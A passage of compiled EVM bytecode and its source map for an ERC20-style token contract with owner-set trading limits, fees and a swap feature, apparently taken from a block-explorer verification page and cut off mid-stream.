fffffff82169050919050565b60006120ef826120c4565b9050919050565b6120ff816120e4565b811461210a57600080fd5b50565b60008135905061211c816120f6565b92915050565b6000819050919050565b61213581612122565b811461214057600080fd5b50565b6000813590506121528161212c565b92915050565b6000806040838503121561216f5761216e6120bf565b5b600061217d8582860161210d565b925050602061218e85828601612143565b9150509250929050565b60008115159050919050565b6121ad81612198565b82525050565b60006020820190506121c860008301846121a4565b92915050565b6000819050919050565b60006121f36121ee6121e9846120c4565b6121ce565b6120c4565b9050919050565b6000612205826121d8565b9050919050565b6000612217826121fa565b9050919050565b6122278161220c565b82525050565b6000602082019050612242600083018461221e565b92915050565b61225181612122565b82525050565b600060208201905061226c6000830184612248565b92915050565b60008060006060848603121561228b5761228a6120bf565b5b60006122998682870161210d565b93505060206122aa8682870161210d565b92505060406122bb86828701612143565b9150509250925092565b6122ce81612198565b81146122d957600080fd5b50565b6000813590506122eb816122c5565b92915050565b60008060408385031215612308576123076120bf565b5b60006123168582860161210d565b9250506020612327858286016122dc565b9150509250929050565b600060ff82169050919050565b61234781612331565b82525050565b6000602082019050612362600083018461233e565b92915050565b612371816120e4565b82525050565b600060208201905061238c6000830184612368565b92915050565b6000602082840312156123a8576123a76120bf565b5b60006123b68482850161210d565b91505092915050565b600080604083850312156123d6576123d56120bf565b5b60006123e48582860161210d565b92505060206123f58582860161210d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061244657607f821691505b602082108103612459576124586123ff565b5b50919050565b7f546865206c696d69747320686173206265656e2072656d6f7665642e00000000600082015250565b6000612495601c83612018565b91506124a08261245f565b602082019050919050565b600060208201905081810360008301526124c481612488565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612501601783612018565b915061250c826124cb565b602082019050919050565b60006020820190508181036000830152612530816124f4565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061257182612122565b915061257c83612122565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156125b5576125b4612537565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006125fa82612122565b915061260583612122565b925082612615576126146125c0565b5b828204905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061267c602483612018565b915061268782612620565b604082019050919050565b600060208201905081810360008301526126ab8161266f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061270e602283612018565b9150612719826126b2565b604082019050919050565b6000602082019050818103600083015261273d81612701565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061277a602083612018565b915061278582612744565b602082019050919050565b600060208201905081810360008301526127a98161276d565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006127e6601d83612018565b91506127f1826127b0565b602082019050919050565b60006020820190508181036000830152612815816127d9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f64726573732e0000000000000000000000000000000000000000000000000000602082015250565b6000612878602683612018565b91506128838261281c565b604082019050919050565b600060208201905081810360008301526128a78161286b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573732e00000000000000000000000000000000000000000000000000000000602082015250565b600061290a602483612018565b9150612915826128ae565b604082019050919050565b60006020820190508181036000830152612939816128fd565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206d757374206265206760008201527f726561746572207468616e207a65726f2e000000000000000000000000000000602082015250565b600061299c603183612018565b91506129a782612940565b604082019050919050565b600060208201905081810360008301526129cb8161298f565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000612a08601683612018565b9150612a13826129d2565b602082019050919050565b60006020820190508181036000830152612a37816129fb565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d6178207472616e73616374696f6e20616d6f756e742e000000000000000000602082015250565b6000612a9a603783612018565b9150612aa582612a3e565b604082019050919050565b60006020820190508181036000830152612ac981612a8d565b9050919050565b6000612adb82612122565b9150612ae683612122565b9250828201905080821115612afe57612afd612537565b5b92915050565b7f4d61782077616c6c65742065786365656465642e000000000000000000000000600082015250565b6000612b3a601483612018565b9150612b4582612b04565b602082019050919050565b60006020820190508181036000830152612b6981612b2d565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d6178207472616e73616374696f6e20616d6f756e742e0000000000000000602082015250565b6000612bcc603883612018565b9150612bd782612b70565b604082019050919050565b60006020820190508181036000830152612bfb81612bbf565b9050919050565b7f5377617020686173206e6f74206265656e20656e61626c65642e000000000000600082015250565b6000612c38601a83612018565b9150612c4382612c02565b602082019050919050565b60006020820190508181036000830152612c6781612c2b565b9050919050565b6000612c7982612122565b9150612c8483612122565b9250828203905081811115612c9c57612c9b612537565b5b92915050565b600081905092915050565b50565b6000612cbd600083612ca2565b9150612cc882612cad565b600082019050919050565b6000612cde82612cb0565b9150819050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612d44602583612018565b9150612d4f82612ce8565b604082019050919050565b60006020820190508181036000830152612d7381612d37565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612dd6602383612018565b9150612de182612d7a565b604082019050919050565b60006020820190508181036000830152612e0581612dc9565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612e68602683612018565b9150612e7382612e0c565b604082019050919050565b60006020820190508181036000830152612e9781612e5b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612f0b816120f6565b92915050565b600060208284031215612f2757612f266120bf565b5b6000612f3584828501612efc565b91505092915050565b6000819050919050565b6000612f63612f5e612f5984612f3e565b6121ce565b612122565b9050919050565b612f7381612f48565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612fae816120e4565b82525050565b6000612fc08383612fa5565b60208301905092915050565b6000602082019050919050565b6000612fe482612f79565b612fee8185612f84565b9350612ff983612f95565b8060005b8381101561302a5781516130118882612fb4565b975061301c83612fcc565b925050600181019050612ffd565b5085935050505092915050565b600060a08201905061304c6000830188612248565b6130596020830187612f6a565b818103604083015261306b8186612fd9565b905061307a6060830185612368565b6130876080830184612248565b969550505050505056fea2646970667358221220d5f31873e265cf0a2f3700c9ca33b162960f9b41c356182e0622e1f88495507064736f6c63430008100033
Deployed Bytecode Sourcemap
6943:6176:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2732:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3650:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7017:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3047:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13028:86;;;;;;;;;;;;;:::i;:::-;;3857:261;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9313:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7353:22;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2948:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7325:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7065:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7702:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7623:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7664:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3161:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1137:103;;;;;;;;;;;;;:::i;:::-;;9147:158;;;;;;;;;;;;;:::i;:::-;;7742:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;902:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2838:104;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3294:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9482:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7382:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11891:148;;;;;;;;;;;;;:::i;:::-;;3493:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7583:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7424:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2732:100;2786:13;2819:5;2812:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2732:100;:::o;3650:201::-;3733:4;3750:13;3766:12;:10;:12::i;:::-;3750:28;;3789:32;3798:5;3805:7;3814:6;3789:8;:32::i;:::-;3839:4;3832:11;;;3650:201;;;;:::o;7017:41::-;;;;;;;;;;;;;:::o;3047:108::-;3108:7;3135:12;;3128:19;;3047:108;:::o;13028:86::-;861:13;:11;:13::i;:::-;13095:11:::1;;;;;;;;;;;13094:12;13080:11;;:26;;;;;;;;;;;;;;;;;;13028:86::o:0;3857:261::-;3954:4;3971:15;3989:12;:10;:12::i;:::-;3971:30;;4012:38;4028:4;4034:7;4043:6;4012:15;:38::i;:::-;4061:27;4071:4;4077:2;4081:6;4061:9;:27::i;:::-;4106:4;4099:11;;;3857:261;;;;;:::o;9313:161::-;861:13;:11;:13::i;:::-;9458:8:::1;9415:30;:40;9446:8;9415:40;;;;;;;;;;;;;;;;:51;;;;;;;;;;;;;;;;;;9313:161:::0;;:::o;7353:22::-;;;;:::o;2948:93::-;3006:5;3031:2;3024:9;;2948:93;:::o;7325:21::-;;;;:::o;7065:28::-;;;;;;;;;;;;;:::o;7702:33::-;;;;;;;;;;;;;:::o;7623:34::-;;;;;;;;;;;;;:::o;7664:31::-;;;;;;;;;;;;;:::o;3161:127::-;3235:7;3262:9;:18;3272:7;3262:18;;;;;;;;;;;;;;;;3255:25;;3161:127;;;:::o;1137:103::-;861:13;:11;:13::i;:::-;1202:30:::1;1229:1;1202:18;:30::i;:::-;1137:103::o:0;9147:158::-;861:13;:11;:13::i;:::-;9227:4:::1;9209:22;;:14;;;;;;;;;;;:22;;;9201:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;9292:5;9275:14;;:22;;;;;;;;;;;;;;;;;;9147:158::o:0;7742:30::-;;;;;;;;;;;;;:::o;902:87::-;948:7;975:6;;;;;;;;;;;968:13;;902:87;:::o;2838:104::-;2894:13;2927:7;2920:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2838:104;:::o;3294:193::-;3373:4;3390:13;3406:12;:10;:12::i;:::-;3390:28;;3429;3439:5;3446:2;3450:6;3429:9;:28::i;:::-;3475:4;3468:11;;;3294:193;;;;:::o;9482:133::-;861:13;:11;:13::i;:::-;9599:8:::1;9568:18;:28;9587:8;9568:28;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;9482:133:::0;;:::o;7382:35::-;;;;:::o;11891:148::-;861:13;:11;:13::i;:::-;11953:14:::1;;;;;;;;;;;11952:15;11944:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;12023:4;12006:14;;:21;;;;;;;;;;;;;;;;;;11891:148::o:0;3493:151::-;3582:7;3609:11;:18;3621:5;3609:18;;;;;;;;;;;;;;;:27;3628:7;3609:27;;;;;;;;;;;;;;;;3602:34;;3493:151;;;;:::o;7583:33::-;;;;:::o;7424:24::-;;;;:::o;204:82::-;262:7;283:1;279;:5;;;;:::i;:::-;272:12;;204:82;;;;:::o;292:::-;350:7;371:1;367;:5;;;;:::i;:::-;360:12;;292:82;;;;:::o;502:::-;555:7;572:10;565:17;;502:82;:::o;5476:344::-;5595:1;5578:19;;:5;:19;;;5570:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5676:1;5657:21;;:7;:21;;;5649:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5758:6;5728:11;:18;5740:5;5728:18;;;;;;;;;;;;;;;:27;5747:7;5728:27;;;;;;;;;;;;;;;:36;;;;5796:7;5780:32;;5789:5;5780:32;;;5805:6;5780:32;;;;;;:::i;:::-;;;;;;;;5476:344;;;:::o;997:132::-;1072:12;:10;:12::i;:::-;1061:23;;:7;:5;:7::i;:::-;:23;;;1053:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;997:132::o;5826:419::-;5927:24;5954:25;5964:5;5971:7;5954:9;:25::i;:::-;5927:52;;6014:17;5994:16;:37;5990:248;;6076:6;6056:16;:26;;6048:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6160:51;6169:5;6176:7;6204:6;6185:16;:25;6160:8;:51::i;:::-;5990:248;5916:329;5826:419;;;:::o;9617:2266::-;7194:1;9711:12;;:4;:12;;;9703:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;7140:6;9781:10;;:2;:10;;;9773:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;9856:1;9847:6;:10;9839:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;9932:7;:5;:7::i;:::-;9924:15;;:4;:15;;;;:32;;;;;9949:7;:5;:7::i;:::-;9943:13;;:2;:13;;;;9924:32;:46;;;;;7194:1;9960:10;;:2;:10;;;;9924:46;:60;;;;;7140:6;9974:10;;:2;:10;;;;9924:60;:73;;;;;9989:8;;;;;;;;;;;9988:9;9924:73;9920:980;;;10015:14;;;;;;;;;;;10010:133;;10054:18;:24;10073:4;10054:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;10082:18;:22;10101:2;10082:22;;;;;;;;;;;;;;;;;;;;;;;;;10054:50;10046:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;10010:133;10159:14;;;;;;;;;;;10155:738;;;10194:5;:11;10200:4;10194:11;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;;10210:30;:34;10241:2;10210:34;;;;;;;;;;;;;;;;;;;;;;;;;10209:35;10194:50;10190:692;;;10283:20;;10273:6;:30;;10265:98;;;;;;;;;;;;:::i;:::-;;;;;;;;;10416:9;;10399:13;10409:2;10399:9;:13::i;:::-;10390:6;:22;;;;:::i;:::-;:35;;10382:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10190:692;;;10476:5;:9;10482:2;10476:9;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;;10490:30;:36;10521:4;10490:36;;;;;;;;;;;;;;;;;;;;;;;;;10489:37;10476:50;10472:410;;;10565:20;;10555:6;:30;;10547:99;;;;;;;;;;;;:::i;:::-;;;;;;;;;10674:11;;;;;;;;;;;10673:12;10665:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;10472:410;;;10743:30;:34;10774:2;10743:34;;;;;;;;;;;;;;;;;;;;;;;;;10738:144;;10832:9;;10815:13;10825:2;10815:9;:13::i;:::-;10806:6;:22;;;;:::i;:::-;:35;;10798:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10738:144;10472:410;10190:692;10155:738;9920:980;10908:12;10951:18;;10923:24;10941:4;10923:9;:24::i;:::-;:46;;10908:61;;10990:7;:31;;;;;11010:11;;;;;;;;;;;10990:31;:53;;;;;11035:8;;;;;;;;;;;11034:9;10990:53;:78;;;;;11057:5;:11;11063:4;11057:11;;;;;;;;;;;;;;;;;;;;;;;;;11056:12;10990:78;:116;;;;;11082:18;:24;11101:4;11082:24;;;;;;;;;;;;;;;;;;;;;;;;;11081:25;10990:116;:152;;;;;11120:18;:22;11139:2;11120:22;;;;;;;;;;;;;;;;;;;;;;;;;11119:23;10990:152;10976:261;;;11172:4;11161:8;;:15;;;;;;;;;;;;;;;;;;11187;11196:5;11187:8;:15::i;:::-;11224:5;11213:8;;:16;;;;;;;;;;;;;;;;;;10976:261;11245:12;11261:8;;;;;;;;;;;11260:9;11245:24;;11282:18;:24;11301:4;11282:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;11310:18;:22;11329:2;11310:22;;;;;;;;;;;;;;;;;;;;;;;;;11282:50;11278:90;;;11355:5;11345:15;;11278:90;11376:12;11403:7;11399:441;;;11426:5;:9;11432:2;11426:9;;;;;;;;;;;;;;;;;;;;;;;;;:24;;;;11439:5;:11;11445:4;11439:11;;;;;;;;;;;;;;;;;;;;;;;;;11426:24;11423:90;;;11474:27;11497:3;11474:18;11485:6;;11474;:10;;:18;;;;:::i;:::-;:22;;:27;;;;:::i;:::-;11467:34;;11423:90;11527:5;:9;11533:2;11527:9;;;;;;;;;;;;;;;;;;;;;;;;;:23;;;;;11549:1;11540:6;;:10;11527:23;11523:190;;;11574:27;11597:3;11574:18;11585:6;;11574;:10;;:18;;;;:::i;:::-;:22;;:27;;;;:::i;:::-;11567:34;;11523:190;;;11623:5;:11;11629:4;11623:11;;;;;;;;;;;;;;;;;;;;;;;;;:26;;;;;11648:1;11638:7;;:11;11623:26;11619:94;;;11673:28;11697:3;11673:19;11684:7;;11673:6;:10;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;11666:35;;11619:94;11523:190;11736:1;11729:4;:8;11725:83;;;11754:42;11770:4;11784;11791;11754:15;:42::i;:::-;11725:83;11828:4;11818:14;;;;;:::i;:::-;;;11399:441;11846:33;11862:4;11868:2;11872:6;11846:15;:33::i;:::-;9696:2187;;;9617:2266;;;:::o;1248:191::-;1322:16;1341:6;;;;;;;;;;;1322:25;;1367:8;1358:6;;:17;;;;;;;;;;;;;;;;;;1422:8;1391:40;;1412:8;1391:40;;;;;;;;;;;;1311:128;1248:191;:::o;12528:492::-;12583:23;12609:24;12627:4;12609:9;:24::i;:::-;12583:50;;12644:12;12692:1;12673:15;:20;12669:59;;12710:7;;;;12669:59;12759:5;12744:20;;:11;:20;;;:65;;;;;12807:2;12786:18;;:23;;;;:::i;:::-;12768:15;:41;12744:65;12740:139;;;12865:2;12844:18;;:23;;;;:::i;:::-;12826:41;;12740:139;12891:33;12908:15;12891:16;:33::i;:::-;12957:15;;;;;;;;;;;12949:29;;12986:21;12949:63;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12935:77;;;;;12572:448;;12528:492;;:::o;4124:798::-;4237:1;4221:18;;:4;:18;;;4213:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4314:1;4300:16;;:2;:16;;;4292:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;4367:38;4388:4;4394:2;4398:6;4367:20;:38::i;:::-;4416:19;4438:9;:15;4448:4;4438:15;;;;;;;;;;;;;;;;4416:37;;4487:6;4472:11;:21;;4464:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;4604:6;4590:11;:20;4572:9;:15;4582:4;4572:15;;;;;;;;;;;;;;;:38;;;;4807:6;4790:9;:13;4800:2;4790:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;4855:2;4840:26;;4849:4;4840:26;;;4859:6;4840:26;;;;;;:::i;:::-;;;;;;;;4877:37;4897:4;4903:2;4907:6;4877:19;:37::i;:::-;4202:720;4124:798;;;:::o;12047:473::-;12113:21;12151:1;12137:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12113:40;;12182:4;12164;12169:1;12164:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;12208:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12198:4;12203:1;12198:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;12243:62;12260:4;12275:15;;;;;;;;;;;12293:11;12243:8;:62::i;:::-;12316:15;;;;;;;;;;;:66;;;12397:11;12423:1;12439:4;12466;12486:15;12316:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12102:418;12047:473;:::o;6251:91::-;;;;:::o;6348:90::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:60::-;3474:3;3495:5;3488:12;;3446:60;;;:::o;3512:142::-;3562:9;3595:53;3613:34;3622:24;3640:5;3622:24;:::i;:::-;3613:34;:::i;:::-;3595:53;:::i;:::-;3582:66;;3512:142;;;:::o;3660:126::-;3710:9;3743:37;3774:5;3743:37;:::i;:::-;3730:50;;3660:126;;;:::o;3792:152::-;3868:9;3901:37;3932:5;3901:37;:::i;:::-;3888:50;;3792:152;;;:::o;3950:183::-;4063:63;4120:5;4063:63;:::i;:::-;4058:3;4051:76;3950:183;;:::o;4139:274::-;4258:4;4296:2;4285:9;4281:18;4273:26;;4309:97;4403:1;4392:9;4388:17;4379:6;4309:97;:::i;:::-;4139:274;;;;:::o;4419:118::-;4506:24;4524:5;4506:24;:::i;:::-;4501:3;4494:37;4419:118;;:::o;4543:222::-;4636:4;4674:2;4663:9;4659:18;4651:26;;4687:71;4755:1;4744:9;4740:17;4731:6;4687:71;:::i;:::-;4543:222;;;;:::o;4771:619::-;4848:6;4856;4864;4913:2;4901:9;4892:7;4888:23;4884:32;4881:119;;;4919:79;;:::i;:::-;4881:119;5039:1;5064:53;5109:7;5100:6;5089:9;5085:22;5064:53;:::i;:::-;5054:63;;5010:117;5166:2;5192:53;5237:7;5228:6;5217:9;5213:22;5192:53;:::i;:::-;5182:63;;5137:118;5294:2;5320:53;5365:7;5356:6;5345:9;5341:22;5320:53;:::i;:::-;5310:63;;5265:118;4771:619;;;;;:::o;5396:116::-;5466:21;5481:5;5466:21;:::i;:::-;5459:5;5456:32;5446:60;;5502:1;5499;5492:12;5446:60;5396:116;:::o;5518:133::-;5561:5;5599:6;5586:20;5577:29;;5615:30;5639:5;5615:30;:::i;:::-;5518:133;;;;:::o;5657:468::-;5722:6;5730;5779:2;5767:9;5758:7;5754:23;5750:32;5747:119;;;5785:79;;:::i;:::-;5747:119;5905:1;5930:53;5975:7;5966:6;5955:9;5951:22;5930:53;:::i;:::-;5920:63;;5876:117;6032:2;6058:50;6100:7;6091:6;6080:9;6076:22;6058:50;:::i;:::-;6048:60;;6003:115;5657:468;;;;;:::o;6131:86::-;6166:7;6206:4;6199:5;6195:16;6184:27;;6131:86;;;:::o;6223:112::-;6306:22;6322:5;6306:22;:::i;:::-;6301:3;6294:35;6223:112;;:::o;6341:214::-;6430:4;6468:2;6457:9;6453:18;6445:26;;6481:67;6545:1;6534:9;6530:17;6521:6;6481:67;:::i;:::-;6341:214;;;;:::o;6561:118::-;6648:24;6666:5;6648:24;:::i;:::-;6643:3;6636:37;6561:118;;:::o;6685:222::-;6778:4;6816:2;6805:9;6801:18;6793:26;;6829:71;6897:1;6886:9;6882:17;6873:6;6829:71;:::i;:::-;6685:222;;;;:::o;6913:329::-;6972:6;7021:2;7009:9;7000:7;6996:23;6992:32;6989:119;;;7027:79;;:::i;:::-;6989:119;7147:1;7172:53;7217:7;7208:6;7197:9;7193:22;7172:53;:::i;:::-;7162:63;;7118:117;6913:329;;;;:::o;7248:474::-;7316:6;7324;7373:2;7361:9;7352:7;7348:23;7344:32;7341:119;;;7379:79;;:::i;:::-;7341:119;7499:1;7524:53;7569:7;7560:6;7549:9;7545:22;7524:53;:::i;:::-;7514:63;;7470:117;7626:2;7652:53;7697:7;7688:6;7677:9;7673:22;7652:53;:::i;:::-;7642:63;;7597:118;7248:474;;;;;:::o;7728:180::-;7776:77;7773:1;7766:88;7873:4;7870:1;7863:15;7897:4;7894:1;7887:15;7914:320;7958:6;7995:1;7989:4;7985:12;7975:22;;8042:1;8036:4;8032:12;8063:18;8053:81;;8119:4;8111:6;8107:17;8097:27;;8053:81;8181:2;8173:6;8170:14;8150:18;8147:38;8144:84;;8200:18;;:::i;:::-;8144:84;7965:269;7914:320;;;:::o;8240:178::-;8380:30;8376:1;8368:6;8364:14;8357:54;8240:178;:::o;8424:366::-;8566:3;8587:67;8651:2;8646:3;8587:67;:::i;:::-;8580:74;;8663:93;8752:3;8663:93;:::i;:::-;8781:2;8776:3;8772:12;8765:19;;8424:366;;;:::o;8796:419::-;8962:4;9000:2;8989:9;8985:18;8977:26;;9049:9;9043:4;9039:20;9035:1;9024:9;9020:17;9013:47;9077:131;9203:4;9077:131;:::i;:::-;9069:139;;8796:419;;;:::o;9221:173::-;9361:25;9357:1;9349:6;9345:14;9338:49;9221:173;:::o;9400:366::-;9542:3;9563:67;9627:2;9622:3;9563:67;:::i;:::-;9556:74;;9639:93;9728:3;9639:93;:::i;:::-;9757:2;9752:3;9748:12;9741:19;;9400:366;;;:::o;9772:419::-;9938:4;9976:2;9965:9;9961:18;9953:26;;10025:9;10019:4;10015:20;10011:1;10000:9;9996:17;9989:47;10053:131;10179:4;10053:131;:::i;:::-;10045:139;;9772:419;;;:::o;10197:180::-;10245:77;10242:1;10235:88;10342:4;10339:1;10332:15;10366:4;10363:1;10356:15;10383:348;10423:7;10446:20;10464:1;10446:20;:::i;:::-;10441:25;;10480:20;10498:1;10480:20;:::i;:::-;10475:25;;10668:1;10600:66;10596:74;10593:1;10590:81;10585:1;10578:9;10571:17;10567:105;10564:131;;;10675:18;;:::i;:::-;10564:131;10723:1;10720;10716:9;10705:20;;10383:348;;;;:::o;10737:180::-;10785:77;10782:1;10775:88;10882:4;10879:1;10872:15;10906:4;10903:1;10896:15;10923:185;10963:1;10980:20;10998:1;10980:20;:::i;:::-;10975:25;;11014:20;11032:1;11014:20;:::i;:::-;11009:25;;11053:1;11043:35;;11058:18;;:::i;:::-;11043:35;11100:1;11097;11093:9;11088:14;;10923:185;;;;:::o;11114:223::-;11254:34;11250:1;11242:6;11238:14;11231:58;11323:6;11318:2;11310:6;11306:15;11